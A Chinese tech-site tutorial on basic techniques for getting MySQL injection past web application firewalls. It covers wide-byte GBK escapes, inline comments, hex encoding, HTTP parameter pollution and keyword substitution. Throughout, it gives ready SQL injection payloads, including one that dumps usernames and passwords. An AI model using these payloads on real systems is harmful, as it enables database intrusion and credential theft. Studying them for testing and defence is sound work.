溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么

發(fā)布時(shí)間:2021-12-04 11:32:46 來(lái)源:億速云 閱讀:317 作者:iii 欄目:網(wǎng)絡(luò)管理

這篇文章主要介紹“MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么”,在日常操作中,相信很多人在MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!

SQL注入繞過(guò)WAF

基礎(chǔ)繞過(guò)

1. 大小寫(xiě)繞過(guò)

用于過(guò)濾時(shí)沒(méi)有匹配大小寫(xiě)的情況:

SeLECt * from table;

2. 雙寫(xiě)繞過(guò)

用于將禁止的字符直接刪除的情況:

比如,使用preg_replace()或者是str_replace()and、or、select、union等關(guān)鍵詞替換為空字符串。

這時(shí),可以使用雙寫(xiě)嵌套繞過(guò),or寫(xiě)成oorr,and寫(xiě)成aandndselect寫(xiě)成seselectlect、union寫(xiě)成uniunionon。在刪除一個(gè)關(guān)鍵字后,剩下的部分又可以重新組合成完整的關(guān)鍵字。

3. 內(nèi)聯(lián)注釋

內(nèi)聯(lián)注釋的作用是增加SQL語(yǔ)句的可移植性。比如,將MySQL特有的語(yǔ)法使用內(nèi)聯(lián)注釋的形式來(lái)編寫(xiě),在這種情況下,MySQL可以正常的解析并執(zhí)行內(nèi)聯(lián)注釋中的代碼,但是其它的SQL服務(wù)器則忽略?xún)?nèi)聯(lián)注釋中的內(nèi)容。

/*! MySQL特有的語(yǔ)法 */

例如MySQL服務(wù)器可以在以下語(yǔ)句中識(shí)別STRAIGHT_JOIN關(guān)鍵字,而其他服務(wù)器則不能:

SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...

如果在!后面添加版本號(hào),則僅當(dāng)MySQL版本大于或者等于指定的版本號(hào)時(shí),才會(huì)執(zhí)行注釋中的語(yǔ)法。例如,以下注釋中的關(guān)鍵字KEY_BLOCK_SIZE僅由MySQL 5.1.10或者更高版本的服務(wù)器執(zhí)行:

CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/

/*! */類(lèi)型的注釋?zhuān)瑑?nèi)部語(yǔ)句會(huì)被執(zhí)行

select bbb from table1 where aaa='' union /*! select database()*/;

可以用來(lái)繞過(guò)一些WAF,或者是繞過(guò)空格

但是,不能將關(guān)鍵詞用注釋分開(kāi),例如下面的語(yǔ)句是不可執(zhí)行的(或者說(shuō)只能在某些較老版本執(zhí)行)

select bbb from table1 where balabala='' union se/*!lect database()*/;

4. 使用16進(jìn)制繞過(guò)特定字符

如果在查詢(xún)字段名的時(shí)候表名被過(guò)濾,或者是數(shù)據(jù)庫(kù)中某些特定字符被過(guò)濾,則可以使用16進(jìn)制繞過(guò)。

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273為users的16進(jìn)制編碼

5. 寬字節(jié)、Latin1默認(rèn)編碼

寬字節(jié)注入

以下是常用的URL編碼

ASCII值URL編碼
\%5C
'%27
"%22
#%23
&%26

寬字節(jié)注入的利用條件

查詢(xún)參數(shù)是被單引號(hào)包圍的,傳入的單引號(hào)又被轉(zhuǎn)義符\轉(zhuǎn)義,如在后臺(tái)數(shù)據(jù)庫(kù)中對(duì)接收的參數(shù)使用addslashes()mysql_real_escape_string()或者是其他轉(zhuǎn)義函數(shù)

數(shù)據(jù)庫(kù)的編碼為GBK

概括的說(shuō),就是單引號(hào)被轉(zhuǎn)義,但編碼為GBK。

利用方式

GET形式

id=-1%DF' union select 1,user(),3%23

在上述條件下,單引號(hào)'被轉(zhuǎn)義為\',即%5c%27。如果我們?cè)趩我?hào)前加上%df,就會(huì)構(gòu)成%df%5c%27,而在GBK編碼方式下,%df%5c是漢字"連",所以單引號(hào)成功逃逸。

如果是在請(qǐng)求體中,需要使用POST參數(shù)。使用Burp Suite抓取請(qǐng)求,然后在單引號(hào)(%27)之前添加%df。

uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2

寬字節(jié)注入原理

MySQL在使用GBK編碼時(shí),會(huì)認(rèn)為兩個(gè)字符為一個(gè)漢字,例如%aa%5c就是一個(gè)漢字。因?yàn)檗D(zhuǎn)義方法主要就是在敏感字符前面添加反斜杠\,所以這里想辦法去掉反斜杠即可。

%df吃掉\

其實(shí)這里第一個(gè)字符并不局限為%df,只要是在%aa%fe范圍內(nèi)都可以。具體原因是,urlencode(\')=%5c%27,我們?cè)?code>%5c%27前面添加%df,形成%df%5c%27,MySQL在GBK編碼方式的時(shí)候,會(huì)將兩個(gè)字節(jié)當(dāng)做一個(gè)漢字,這個(gè)時(shí)候就把%df%5c當(dāng)做是一個(gè)漢字運(yùn),%27則作為一個(gè)單獨(dú)的符號(hào)'在外面,同時(shí)也就達(dá)到了我們的目的。

\'中的\過(guò)濾掉

例如可以構(gòu)造%5c%5c%27的情況,后面的%5C會(huì)被前面的%5C給注釋掉。這也是bypass的一種方法。

addslashes()函數(shù)返回在預(yù)定義字符之前添加反斜杠的字符串。

預(yù)定義字符轉(zhuǎn)義后
\\\
'\'
"\"

該函數(shù)可用于為存儲(chǔ)在數(shù)據(jù)庫(kù)中的字符串以及數(shù)據(jù)庫(kù)查詢(xún)語(yǔ)句準(zhǔn)備字符串。

在使用addslashes()時(shí),我們需要將mysql_query設(shè)置為binary的方式,才能夠防御此漏洞。

Latin1編碼

Mysql表的編碼默認(rèn)為latin1,如果設(shè)置字符集為utf8,則存在一些latin1中有而utf8中沒(méi)有的字符,而Mysql是如何處理這些字符的呢?直接忽略

于是我們可以輸入?username=admin%c2,存儲(chǔ)至表中就變?yōu)榱薬dmin

上面的%c2可以換為%c2-%ef之間的任意字符

6. 常用字符的替代

and -> &&
or -> ||
空格 -> /**/ -> %a0 -> %0a -> +
# -> -- + -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注意:regexp為正則匹配,利用正則會(huì)有些新的注入手段

注意,因?yàn)?code>&是URL中不同參數(shù)之間的分隔符,所以,在前端中需要將&進(jìn)行URL編碼,編碼為%26。

過(guò)濾空格

使用preg_replace()或者str_replace()函數(shù),將空白字符替換為空字符串。

過(guò)濾了空格,使用編碼繞過(guò)??梢允褂萌缦路?hào)來(lái)替代:

符號(hào)說(shuō)明
%09TAB鍵(水平)
%0a新建一行
%0c新的一頁(yè)
%0dreturn功能
%0bTAB鍵(垂直)
%a0空格

過(guò)濾注釋

使用preg_replace()或者str_replace()函數(shù),將多行注釋/**/,單行注釋--、#替換為空字符串。

繞過(guò)方式:使用閉合繞過(guò)。

7. HTTP參數(shù)污染

HTTP參數(shù)污染

由于沒(méi)有相關(guān)的HTTP RFC定義HTTP參數(shù)操作的語(yǔ)義,因此每個(gè)Web應(yīng)用程序可能會(huì)以不用的方式來(lái)處理多個(gè)相同名稱(chēng)的參數(shù)。

在單個(gè)HTTP請(qǐng)求中,攻擊者使用多個(gè)具有相同名稱(chēng)的參數(shù),將注入語(yǔ)句中的關(guān)鍵字拆分在每個(gè)參數(shù)的值中。

比如,index.php?par1=val1&par1=val2

下表是不同的Web服務(wù)器如何管理多次出現(xiàn)的同一參數(shù)。

HTTP后端總體解析結(jié)果例子
ASP.NET/IIS特定參數(shù)所有內(nèi)容進(jìn)行拼接par1=val1,val2
ASP/IIS特定參數(shù)所有內(nèi)容進(jìn)行拼接par1=val1,val2
PHP/Apache最后一次出現(xiàn)的參數(shù)內(nèi)容par1=val2
PHP/Zeus最后一次出現(xiàn)的參數(shù)內(nèi)容par1=val2
JSP,Servlet/Apache Tomcat第一次出現(xiàn)的參數(shù)內(nèi)容par1=val1

當(dāng)Web應(yīng)用程序?qū)⒍鄠€(gè)參數(shù)的值拼接起來(lái),就可以得到完整的注入語(yǔ)句。同時(shí),如果WAF只單獨(dú)檢查每個(gè)參數(shù)的值,或者是將整個(gè)請(qǐng)求數(shù)據(jù)作為單個(gè)字符串處理,這樣的安全機(jī)制將無(wú)法檢測(cè)到HPP攻擊。比如,ASP/IIS將重復(fù)出現(xiàn)的參數(shù)的值拼接起來(lái)。

下面是兩個(gè)SQL注入的場(chǎng)景:"常規(guī)攻擊"和"使用HPP攻擊"。

“常規(guī)攻擊”演示了prodID參數(shù)中的標(biāo)準(zhǔn)聯(lián)合注入語(yǔ)句。這種攻擊方式會(huì)被Web應(yīng)用程序防火墻(WAF)輕松識(shí)別。第二次攻擊在prodID參數(shù)上使用HPP。在這種情況下,prodID參數(shù)多次出現(xiàn),而注入語(yǔ)句被拆分在每個(gè)prodID的值中。為了使WAF能夠識(shí)別完整的注入語(yǔ)句,還需要將所有的輸入拼接起來(lái)檢查。

常規(guī)攻擊:http://webApplication/showproducts.asp?prodID=9 UNION SELECT 1,2,3 FROM Users WHERE id=3 —

使用HPP攻擊:http://webApplication/showproducts.asp?prodID=9 /*&prodID=*/UNION /*&prodID=*/SELECT 1 &prodID=2 &prodID=3 FROM /*&prodID=*/Users /*&prodID=*/ WHERE id=3 —

8. 逗號(hào)被過(guò)濾

用join代替

-1 union select 1,2,3

-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

limit

limit 2,1

limit 1 offset 2

substr

select substr(database(),5,1)

select substr(database() from 5 for 1)from為從第幾個(gè)字符開(kāi)始,for為截取的長(zhǎng)度

select substr(database() from 5)from 5表示從第5個(gè)字符開(kāi)始截取

如果for也被過(guò)濾了

select mid(reverse(mid(database() from (-5)))from(-1))

if

select if(database()='xxx',sleep(3),1)

SELECT 1 and DATABASE()='security' and sleep(3)

select case when database()='xxx' then sleep(5) else 0 end

9. limit被過(guò)濾

select user from users limit 1

加限制條件

select user from users group by user_id having user_id=1(user_id是表中的一個(gè)列)

11. and、or、&&、||被過(guò)濾

可用運(yùn)算符! ^ ~以及not xor來(lái)代替

12. 各個(gè)字符以及函數(shù)的代替

常用函數(shù)的替代

字符串截取/拼接函數(shù):

摘自https://xz.aliyun.com/t/7169

函數(shù)說(shuō)明
SUBSTR(str,N_start,N_length)對(duì)指定字符串進(jìn)行截取,為SUBSTRING的簡(jiǎn)單版。
SUBSTRING()多種格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
RIGHT(str,len)對(duì)指定字符串從最右邊截取指定長(zhǎng)度。
LEFT(str,len)對(duì)指定字符串從最左邊截取指定長(zhǎng)度。
RPAD(str,len,padstr)str右方補(bǔ)齊len位的字符串padstr,返回新字符串。如果str長(zhǎng)度大于len,則返回值的長(zhǎng)度將縮減到len所指定的長(zhǎng)度。
LPAD(str,len,padstr)與RPAD相似,在str左邊補(bǔ)齊。
MID(str,pos,len)同于SUBSTRING(str,pos,len)。
INSERT(str,pos,len,newstr)在原始字符串str中,將自左數(shù)第pos位開(kāi)始,長(zhǎng)度為len個(gè)字符的字符串替換為新字符串newstr,然后返回經(jīng)過(guò)替換后的字符串。INSERT(str,len,1,0x0)可當(dāng)做截取函數(shù)。
CONCAT(str1,str2…)函數(shù)用于將多個(gè)字符串合并為一個(gè)字符串
GROUP_CONCAT(…)返回一個(gè)字符串結(jié)果,該結(jié)果由分組中的值連接組合而成。
MAKE_SET(bits,str1,str2,…)根據(jù)參數(shù)1,返回所輸入其他的參數(shù)值??捎米鞑紶柮ぷ?,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))。

數(shù)字的代替:

使用true、false、pi()、!、floor、~ceil()、version()等數(shù)學(xué)運(yùn)算函數(shù)的組合進(jìn)行代替

函數(shù)/語(yǔ)句

說(shuō)明



LENGTH(str)返回字符串的長(zhǎng)度。
PI()返回π的具體數(shù)值。
REGEXP “statement”正則匹配數(shù)據(jù),返回值為布爾值。
LIKE “statement”匹配數(shù)據(jù),%代表任意內(nèi)容。返回值為布爾值。
RLIKE “statement”與regexp相同。
LOCATE(substr,str,[pos])返回子字符串第一次出現(xiàn)的位置。
POSITION(substr IN str)等同于LOCATE()。
LOWER(str)將字符串的大寫(xiě)字母全部轉(zhuǎn)成小寫(xiě)。同:LCASE(str)。
UPPER(str)將字符串的小寫(xiě)字母全部轉(zhuǎn)成大寫(xiě)。同:UCASE(str)。
ELT(N,str1,str2,str3,…)MAKE_SET(bit,str1,str2...)類(lèi)似,根據(jù)N返回參數(shù)值。
NULLIF(expr1,expr2)若expr1與expr2相同,則返回expr1,否則返回NULL。
CHARSET(str)返回字符串使用的字符集。
DECODE(crypt_str,pass_str)使用 pass_str 作為密碼,解密加密字符串 crypt_str。加密函數(shù):ENCODE(str,pass_str)。

到此,關(guān)于“MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注億速云網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI